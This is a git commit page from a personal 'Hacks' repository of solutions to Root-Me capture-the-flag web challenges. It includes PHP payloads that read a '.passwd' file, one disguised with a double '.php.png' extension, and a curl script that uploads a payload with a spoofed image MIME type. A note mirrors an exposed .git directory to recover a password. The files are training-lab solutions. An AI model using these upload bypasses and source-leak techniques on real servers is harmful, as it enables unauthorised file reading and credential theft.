valentin/Hacks
1
0
Fork 0
Code Issues Pull Requests Projects Releases Wiki Activity

Initialisation

Browse Source
This commit is contained in:
Valentin Verdier
2021-07-25 00:20:57 +02:00
commit cead6ee8fa
16 changed files with 303 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

5
rootme/challenges/Web - Serveur/File upload - Double extensions/exploit.php.png Normal file
View File

@ -0,0 +1,5 @@
<?php
echo file_get_contents("../../../.passwd");
?>

5
rootme/challenges/Web - Serveur/File upload - Type MIME/exploit.php Normal file
View File

@ -0,0 +1,5 @@
<?php
echo file_get_contents("../../../.passwd");
?>

7
rootme/challenges/Web - Serveur/File upload - Type MIME/exploit.sh Executable file
View File

@ -0,0 +1,7 @@
#!/bin/sh
BASEDIR=$(dirname "$0")
curl -X POST --cookie "PHPSESSID=6b8dc1527444202a1b16e9e806ca0ab6" \
--form "file=@$BASEDIR/exploit.php;type=image/png" \
'http://challenge01.root-me.org/web-serveur/ch21/?action=upload'

10
rootme/challenges/Web - Serveur/Insecure Code Management/note Normal file
View File

@ -0,0 +1,10 @@
wget -m --no-parent 'http://challenge01.root-me.org/web-serveur/ch61/.git/'
cd challenge01.root-me.org/web-serveur/ch61
git checkout
git log
=> commit a8673b295eca6a4fa820706d5f809f1a8b49fcba Changed password
git show a8673b295eca6a4fa820706d5f809f1a8b49fcba